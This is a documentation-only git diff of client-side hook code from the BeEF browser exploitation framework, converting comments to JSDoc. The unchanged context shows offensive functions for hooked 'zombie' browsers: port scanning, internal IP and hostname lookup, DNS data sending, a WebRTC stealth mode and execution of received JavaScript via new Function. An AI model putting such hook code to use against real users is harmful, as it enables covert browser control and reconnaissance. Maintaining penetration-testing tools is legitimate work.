the data. - * @param: {Object} stream: the stream object to be sent back. + * @param {Object} stream the stream object to be sent back. */ push: function (stream, callback) { //need to implement wait feature here eventually @@ -203,18 +203,18 @@ beef.net = { /** * Performs http requests - * @param: {String} scheme: HTTP or HTTPS - * @param: {String} method: GET or POST - * @param: {String} domain: bindshell.net, 192.168.3.4, etc - * @param: {Int} port: 80, 5900, etc - * @param: {String} path: /path/to/resource - * @param: {String} anchor: this is the value that comes after the # in the URL - * @param: {String} data: This will be used as the query string for a GET or post data for a POST - * @param: {Int} timeout: timeout the request after N seconds - * @param: {String} dataType: specify the data return type expected (ie text/html/script) - * @param: {Function} callback: call the callback function at the completion of the method + * @param {String} scheme HTTP or HTTPS + * @param {String} method GET or POST + * @param {String} domain bindshell.net, 192.168.3.4, etc + * @param {Int} port 80, 5900, etc + * @param {String} path /path/to/resource + * @param {String} anchor this is the value that comes after the # in the URL + * @param {String} data This will be used as the query string for a GET or post data for a POST + * @param {Int} timeout timeout the request after N seconds + * @param {String} dataType specify the data return type expected (ie text/html/script) + * @param {Function} callback call the callback function at the completion of the method * - * @return: {Object} response: this object contains the response details + * @return {Object} this object contains the response details */ request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { //check if same domain or cross domain @@ -307,7 +307,7 @@ beef.net = { return response; }, - /* + /** * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests: * - requestid: needed on the callback * - allowCrossDomain: set cross-domain requests as allowed or blocked @@ -490,8 +490,9 @@ beef.net = { return response; }, - //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} - //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/ + /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} + * http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/ + */ clean: function (r) { if (this.array_has_string_key(r)) { var obj = {}; @@ -502,7 +503,7 @@ beef.net = { return r; }, - //Detects if an array has a string key + /** Detects if an array has a string key */ array_has_string_key: function (arr) { if ($j.isArray(arr)) { try { diff --git a/core/main/client/net/connection.js b/core/main/client/net/connection.js index 6ede47a49..e98a83471 100644 --- a/core/main/client/net/connection.js +++ b/core/main/client/net/connection.js @@ -4,16 +4,19 @@ // See the file 'doc/COPYING' for copying permission // -// beef.net.connection - wraps Mozilla's Network Information API -// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation -// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection +/** + * beef.net.connection - wraps Mozilla's Network Information API + * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation + * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection + * @namespace beef.net.connection + */ beef.net.connection = { - /* Returns the connection type - * @example: beef.net.connection.type() - * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type - * @return: {String} connection type or 'unknown'. - **/ + /** + * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type + * @example beef.net.connection.type() + * @return {String} connection type or 'unknown'. + */ type: function () { try { var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; @@ -25,11 +28,11 @@ beef.net.connection = { } }, - /* Returns the maximum downlink speed of the connection - * @example: beef.net.connection.downlinkMax() - * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax - * @return: {String} downlink max or 'unknown'. - **/ + /** + * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax + * @example beef.net.connection.downlinkMax() + * @return {String} downlink max or 'unknown'. + */ downlinkMax: function () { try { var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; diff --git a/core/main/client/net/cors.js b/core/main/client/net/cors.js index 7bb861d64..3be3ce5fe 100644 --- a/core/main/client/net/cors.js +++ b/core/main/client/net/cors.js @@ -1,3 +1,7 @@ +/** + * @namespace beef.net.cors + */ + beef.net.cors = { handler: "cors", diff --git a/core/main/client/net/dns.js b/core/main/client/net/dns.js index 411fe5688..b2f4c3204 100644 --- a/core/main/client/net/dns.js +++ b/core/main/client/net/dns.js @@ -4,20 +4,26 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net.dns +/** * * request object structure: * + msgId: {Integer} Unique message ID for the request. * + domain: {String} Remote domain to retrieve the data. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED * + callback: {Function} Callback function to receive the number of requests sent. + * @namespace beef.net.dns */ beef.net.dns = { handler: "dns", - + /** + * + * @param msgId + * @param data + * @param domain + * @param callback + */ send: function(msgId, data, domain, callback) { var encode_data = function(str) { diff --git a/core/main/client/net/local.js b/core/main/client/net/local.js index a61525b3b..be7e0b5ff 100644 --- a/core/main/client/net/local.js +++ b/core/main/client/net/local.js @@ -4,10 +4,9 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net.local - * +/** * Provides networking functions for the local/internal network of the zombie. + * @namespace beef.net.local */ beef.net.local = { @@ -22,7 +21,6 @@ beef.net.local = { * is invalid: * sock: new java.net.Socket(); */ - initializeSocket: function() { if(this.checkJava){ if(!beef.browser.hasJava()) { @@ -50,8 +48,8 @@ beef.net.local = { /** * Returns the internal IP address of the zombie. - * @return: {String} the internal ip of the zombie. - * @error: return -1 if the internal ip cannot be retrieved. + * @return {String} the internal ip of the zombie. + * @error return -1 if the internal ip cannot be retrieved. */ getLocalAddress: function() { if(!this.hasJava) return false; @@ -68,8 +66,8 @@ beef.net.local = { /** * Returns the internal hostname of the zombie. - * @return: {String} the internal hostname of the zombie. - * @error: return -1 if the hostname cannot be retrieved. + * @return {String} the internal hostname of the zombie. + * @error return -1 if the hostname cannot be retrieved. */ getLocalHostname: function() { if(!this.hasJava) return false; diff --git a/core/main/client/net/portscanner.js b/core/main/client/net/portscanner.js index 767274ed9..0e0a93c1d 100644 --- a/core/main/client/net/portscanner.js +++ b/core/main/client/net/portscanner.js @@ -4,18 +4,24 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net.portscanner - * +/** * Provides port scanning functions for the zombie. A mod of pdp's scanner * * Version: '0.1', * author: 'Petko Petkov', * homepage: 'http://www.gnucitizen.org' + * @namespace beef.net.portscanner */ beef.net.portscanner = { + /** + * + * @param callback + * @param target + * @param port + * @param timeout + */ scanPort: function(callback, target, port, timeout) { var timeout = (timeout == null)?100:timeout; @@ -38,7 +44,13 @@ beef.net.portscanner = { }, timeout); }, - + /** + * + * @param callback + * @param target + * @param ports_str + * @param timeout + */ scanTarget: function(callback, target, ports_str, timeout) { var ports = ports_str.split(","); diff --git a/core/main/client/net/requester.js b/core/main/client/net/requester.js index 00a155ffd..e341628f0 100644 --- a/core/main/client/net/requester.js +++ b/core/main/client/net/requester.js @@ -4,20 +4,22 @@ // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.net.requester - * +/** * request object structure: * + method: {String} HTTP method to use (GET or POST). * + host: {String} hostname * + query_string: {String} The query string is a part of the URL which is passed to the program. * + uri: {String} The URI syntax consists of a URI scheme name. * + headers: {Array} contain the operating parameters of the HTTP request. + * @namespace beef.net.requester */ beef.net.requester = { handler: "requester", - + /** + * + * @param {array} requests_array + */ send: function(requests_array) { for(var i=0; i", + /** XHR-polling timeout. */ + xhr_poll_timeout: "<%= @xhr_poll_timeout %>", + + /** Hook session name. */ beefhook: "<%= @hook_session_name %>", - // A lock. + /** A lock. */ lock: false, - // An object containing all values to be registered and sent by the updater. + /** An object containing all values to be registered and sent by the updater. */ objects: new Object(), - /* + /** * Registers an object to always send when requesting new commands to the framework. - * @param: {String} the name of the object. - * @param: {String} the value of that object. + * @param {String} key the name of the object. + * @param {String} value the value of that object. * - * @example: beef.updater.regObject('java_enabled', 'true'); + * @example beef.updater.regObject('java_enabled', 'true'); */ regObject: function(key, value) { this.objects[key] = escape(value); diff --git a/core/main/client/webrtc.js b/core/main/client/webrtc.js index b4b618307..a796c21fb 100644 --- a/core/main/client/webrtc.js +++ b/core/main/client/webrtc.js @@ -6,8 +6,6 @@ /** - * @Literal object: beef.webrtc - * * Manage the WebRTC peer to peer communication channels. * This objects contains all the necessary client-side WebRTC components, * allowing browsers to use WebRTC to communicate with each other. @@ -19,21 +17,43 @@ * the signalling. * * This is all mostly a Proof of Concept + * @namespace beef.webrtc */ -beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects - // The key is the peer id -globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects - // these objects persist outside of everything else - // The key is the peer id -rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain: - // false - i.e not stealthed; or - // - i.e. the id of the browser which initiated stealth mode -rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these - // The key is the peer id +/** + * To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id. + * @memberof beef.webrtc +*/ +beefrtcs = {}; +/** + * To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects + * these objects persist outside of everything else. The key is the peer id. + * @memberof beef.webrtc + */ +globalrtc = {}; +/** + * stealth should only be initiated from one peer - this global variable will contain: + * false - i.e not stealthed; or + * - i.e. the id of the browser which initiated stealth mode + * @memberof beef.webrtc + */ +rtcstealth = false; +/** + * To handle multiple event channels - we need to have a global hash of these. The key is the peer id + * @memberof beef.webrtc +*/ +rtcrecvchan = {}; -// Beefwebrtc object - wraps everything together for a peer connection -// One of these per peer connection, and will be stored in the beefrtc global hash +/** + * Beefwebrtc object - wraps everything together for a peer connection + * One of these per peer connection, and will be stored in the beefrtc global hash + * @memberof beef.webrtc + * @param initiator + * @param peer + * @param turnjson + * @param stunservers + * @param verbparam + */ function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) { this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver @@ -59,7 +79,10 @@ function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) { // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"] } -// Initialize the object +/** + * Initialize the object + * @memberof beef.webrtc + */ Beefwebrtc.prototype.initialize = function() { if (this.peerid == null) { return 0; // no peerid - NO DICE @@ -88,8 +111,11 @@ Beefwebrtc.prototype.initialize = function() { return 1; // because .. yeah .. we had a peerid - this is good yar. } -//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive) -//These values are now simply passed in from the config.yaml for the webrtc extension +/** + * Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive) + * These values are now simply passed in from the config.yaml for the webrtc extension + * @memberof beef.webrtc + */ Beefwebrtc.prototype.forceTurn = function(jason) { var turnServer = JSON.parse(jason); var iceServers = createIceServers(turnServer.uris, @@ -103,7 +129,10 @@ Beefwebrtc.prototype.forceTurn = function(jason) { this.maybeStart(); } -// Try and establish the RTC connection +/** + * Try and establish the RTC connection + * @memberof beef.webrtc + */ Beefwebrtc.prototype.createPeerConnection = function() { beef.debug('Creating RTCPeerConnnection with the following options:\n' + ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + @@ -129,7 +158,10 @@ Beefwebrtc.prototype.createPeerConnection = function() { this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false}); } -// When the PeerConnection receives a new ICE Candidate +/** + * When the PeerConnection receives a new ICE Candidate + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onIceCandidate = function(event) { var peerid = null; @@ -155,9 +187,12 @@ Beefwebrtc.prototype.onIceCandidate = function(event) { } } -// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function -// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage -// against the message directly +/** + * For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function + * This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage + * against the message directly + * @memberof beef.webrtc + */ Beefwebrtc.prototype.processMessage = function(message) { beef.debug('Signalling Message - S->C: ' + JSON.stringify(message)); var msg = JSON.parse(message); @@ -193,14 +228,20 @@ Beefwebrtc.prototype.processMessage = function(message) { } } -// Send a signalling message .. +/** + * Send a signalling message .. + * @memberof beef.webrtc + */ Beefwebrtc.prototype.sendSignalMsg = function(message) { var msgString = JSON.stringify(message); beef.debug('Signalling Message - C->S: ' + msgString); beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString}); } -// Used to record ICS candidates locally +/** + * Used to record ICS candidates locally + * @memberof beef.webrtc + */ Beefwebrtc.prototype.noteIceCandidate = function(location, type) { if (this.gatheredIceCandidateTypes[location][type]) return; @@ -208,12 +249,19 @@ Beefwebrtc.prototype.noteIceCandidate = function(location, type) { // updateInfoDiv(); } -// When the signalling state changes. We don't actually do anything with this except log it. + +/** + * When the signalling state changes. We don't actually do anything with this except log it. + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onSignalingStateChanged = function(event) { beef.debug("Signalling has changed to: " + event.target.signalingState); } -// When the ICE Connection State changes - this is useful to determine connection statuses with peers. +/** + * When the ICE Connection State changes - this is useful to determine connection statuses with peers. + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) { var peerid = null; @@ -259,7 +307,10 @@ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) { } -// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth" +/** + * This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth" + * @memberof beef.webrtc + */ Beefwebrtc.prototype.goStealth = function() { //stop the beef updater rtcstealth = this.peerid; // this is a global variable @@ -269,7 +320,10 @@ Beefwebrtc.prototype.goStealth = function() { setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5); } -// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it +/** + * This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it + * @memberof beef.webrtc + */ rtcpollPeer = function() { if (rtcstealth == false) { //my peer has disabled stealth mode @@ -284,7 +338,10 @@ rtcpollPeer = function() { setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5); } -// When a data channel has been established - within here is the message handling function as well +/** + * When a data channel has been established - within here is the message handling function as well + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onDataChannel = function(event) { var peerid = null; for (k in globalrtc) { @@ -351,20 +408,29 @@ Beefwebrtc.prototype.onDataChannel = function(event) { } } -// How the browser executes received JS (this is pretty hacky) +/** + * How the browser executes received JS (this is pretty hacky) + * @memberof beef.webrtc + */ Beefwebrtc.prototype.execCmd = function(input) { var fn = new Function(input); var res = fn(); return res.toString(); } -// Shortcut function to SEND a data messsage +/** + * Shortcut function to SEND a data messsage + * @memberof beef.webrtc + */ Beefwebrtc.prototype.sendPeerMsg = function(msg) { beef.debug('sendPeerMsg to ' + this.peerid); this.dataChannel.send(msg); } -// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready +/** + * Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready + * @memberof beef.webrtc + */ Beefwebrtc.prototype.maybeStart = function() { beef.debug("maybe starting ... "); @@ -387,7 +453,10 @@ Beefwebrtc.prototype.maybeStart = function() { } } -// RTC - create an offer - the caller runs this, while the receiver runs calleeStart() +/** + * RTC - create an offer - the caller runs this, while the receiver runs calleeStart() + * @memberof beef.webrtc + */ Beefwebrtc.prototype.doCall = function() { var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints); var self = this; @@ -396,7 +465,10 @@ Beefwebrtc.prototype.doCall = function() { ' \'' + JSON.stringify(constraints) + '\'.'); } -// Helper method to merge SDP constraints +/** + * Helper method to merge SDP constraints + * @memberof beef.webrtc + */ Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) { var merged = cons1; for (var name in cons2.mandatory) { @@ -406,14 +478,13 @@ Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) { return merged; } -// Sets the local RTC session description, sends this information back (via signalling) -// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling) -// The receiver uses this information too - and vice-versa - hence the signaling +/** + * Sets the local RTC session description, sends this information back (via signalling) + * The caller uses this to set it's local description, and it then has to send this to the peer (via signalling) + * The receiver uses this information too - and vice-versa - hence the signaling + * + */ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) { - // This fucking function does NOT receive a 'this' state, and you can't pass additional parameters - // Stupid .. javascript :( - // So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently - // i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one.. var peerid = null; for (var k in beefrtcs) { @@ -435,17 +506,26 @@ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) { } } -// If the browser can't build an SDP +/** + * If the browser can't build an SDP + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) { beef.debug('Failed to create session description: ' + error.toString()); } -// If the browser successfully sets a remote description +/** + * If the browser successfully sets a remote description + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() { beef.debug('Set remote session description successfully'); } -// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart() +/** + * Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart() + * @memberof beef.webrtc + */ Beefwebrtc.prototype.calleeStart = function() { // Callee starts to process cached offer and other messages. while (this.msgQueue.length > 0) { @@ -453,7 +533,10 @@ Beefwebrtc.prototype.calleeStart = function() { } } -// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers +/** + * Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers + * @memberof beef.webrtc + */ Beefwebrtc.prototype.processSignalingMessage = function(message) { if (!this.started) { beef.debug('peerConnection has not been created yet!'); @@ -522,19 +605,28 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) { } } -// Used to set the RTC remote session +/** + * Used to set the RTC remote session + * @memberof beef.webrtc + */ Beefwebrtc.prototype.setRemote = function(message) { globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message), this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError); } -// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below +/** + * As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below + * @memberof beef.webrtc + */ Beefwebrtc.prototype.doAnswer = function() { beef.debug('Sending answer to peer.'); globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints); } -// Helper method to determine what kind of ICE Candidate we've received +/** + * Helper method to determine what kind of ICE Candidate we've received + * @memberof beef.webrtc + */ Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) { if (candidateSDP.indexOf("typ relay ") >= 0) return "TURN"; @@ -545,17 +637,26 @@ Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) { return "UNKNOWN"; } -// Event handler for successful addition of ICE Candidates +/** + * Event handler for successful addition of ICE Candidates + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onAddIceCandidateSuccess = function() { beef.debug('AddIceCandidate success.'); } -// Event handler for unsuccessful addition of ICE Candidates +/** + * Event handler for unsuccessful addition of ICE Candidates + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onAddIceCandidateError = function(error) { beef.debug('Failed to add Ice Candidate: ' + error.toString()); } -// If a peer hangs up (we bring down the peerconncetion via the stop() method) +/** + * If a peer hangs up (we bring down the peerconncetion via the stop() method) + * @memberof beef.webrtc + */ Beefwebrtc.prototype.onRemoteHangup = function() { beef.debug('Session terminated.'); this.initiator = 0; @@ -563,7 +664,10 @@ Beefwebrtc.prototype.onRemoteHangup = function() { this.stop(); } -// Bring down the peer connection +/** + * Bring down the peer connection + * @memberof beef.webrtc + */ Beefwebrtc.prototype.stop = function() { this.started = false; // we're no longer started this.signalingReady = false; // signalling isn't ready @@ -574,8 +678,11 @@ Beefwebrtc.prototype.stop = function() { this.allgood = false; // allgood .. NAH UH } -// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status -// These are the methods which are executed via the custom extension of the hook.js +/** + * The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status + * These are the methods which are executed via the custom extension of the hook.js + * @memberof beef.webrtc + */ beef.webrtc = { // Start the RTCPeerConnection process start: function(initiator,peer,turnjson,stunservers,verbose) { diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 6077d0167..eb8a872fd 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -6,11 +6,10 @@ /** - * @Literal object: beef.websocket - * * Manage the WebSocket communication channel. * This channel is much faster and responsive, and it's used automatically * if the browser supports WebSockets AND beef.http.websocket.enable = true. + * @namespace beef.websocket */ beef.websocket = {